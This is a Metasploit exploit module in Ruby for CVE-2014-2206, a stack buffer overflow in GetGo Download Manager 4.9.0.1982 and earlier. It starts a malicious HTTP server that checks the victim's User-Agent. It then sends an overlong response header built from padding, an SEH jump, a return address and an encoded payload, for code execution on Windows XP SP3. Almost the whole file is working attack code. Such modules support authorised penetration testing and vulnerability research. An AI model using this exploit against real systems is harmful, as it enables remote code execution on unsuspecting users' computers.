##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'GetGo Download Manager HTTP Response Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow vulnerability in
        GetGo Download Manager version 4.9.0.1982 and earlier, caused by an
        overly long HTTP response header.

        By persuading the victim to download a file from a malicious server, a
        remote attacker could execute arbitrary code on the system or cause
        the application to crash. This module has been tested successfully on
        Windows XP SP3.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Julien Ahrens',  # Vulnerability discovery
          'Gabor Seljan'    # Metasploit module
        ],
      'References'     =>
        [
          [ 'EDB', '32132' ],
          [ 'OSVDB', '103910' ],
          [ 'CVE', '2014-2206' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'URIPATH'      => "/shakeitoff.mp3"
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'   => "\x00\x0a\x0d",
          'Space'      => 2000
        },
      'Targets'        =>
        [
          [ 'Windows XP SP3',
            {
              'Offset' => 4107,
              'Ret'    => 0x00280b0b  # CALL DWORD PTR SS:[EBP+30]
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 09 2014',
      'DefaultTarget'  => 0))
  end

  #
  # Handle the HTTP request and return a response.
  # Code borrowed from: msf/core/exploit/http/server.rb
  #
  def start_http(opts={})
    # Ensture all dependencies are present before initializing HTTP
    use_zlib

    comm = datastore['ListenerComm']
    if (comm.to_s == "local")
      comm = ::Rex::Socket::Comm::Local
    else
      comm = nil
    end

    # Default the server host / port
    opts = {
      'ServerHost' => datastore['SRVHOST'],
      'ServerPort' => datastore['HTTPPORT'],
      'Comm'       => comm
    }.update(opts)

    # Start a new HTTP server
    @http_service = Rex::ServiceManager.start(
      Rex::Proto::Http::Server,
      opts['ServerPort'].to_i,
      opts['ServerHost'],
      datastore['SSL'],
      {
        'Msf'        => framework,
        'MsfExploit' => self
      },
      opts['Comm'],
      datastore['SSLCert']
    )

    @http_service.server_name = datastore['HTTP::server_name']

    # Default the procedure of the URI to on_request_uri if one isn't
    # provided.
    uopts = {
      'Proc' => Proc.new { |cli, req|
          on_request_uri(cli, req)
        },
      'Path' => resource_uri
    }.update(opts['Uri'] || {})

    proto = (datastore["SSL"] ? "https" : "http")
    print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")

    if (opts['ServerHost'] == '0.0.0.0')
      print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
    end

    # Add path to resource
    @service_path = uopts['Path']
    @http_service.add_resource(uopts['Path'], uopts)

    # As long as we have the http_service object, we will keep the server alive
    while @http_service
      select(nil, nil, nil, 1)
    end
  end


  #
  # Kill HTTP/FTP (shut them down and clear resources)
  #
  def cleanup
    super
    stop_service

    begin
      @http_service.remove_resource(datastore['URIPATH'])
      @http_service.deref
      @http_service.stop
      @http_service.close
      @http_service = nil
    rescue
    end
  end


  def on_request_uri(cli, request)

    print_status("Client connected...")

    unless request['User-Agent'] =~ /GetGo Download Manager 4.0/
      print_error("Sending 404 for unknown user-agent")
      send_not_found(cli)
      return
    end

    sploit  = rand_text_alpha(target['Offset'])
    sploit << "\x90\x90\xEB\x06"
    sploit << [target.ret].pack('V')
    sploit << payload.encoded

    print_status("Sending #{sploit.length} bytes to port #{cli.peerport}...")

    resp = create_response(200, sploit)
    resp.body = ""
    cli.send_response(resp)

    close_client(cli)

  end
end
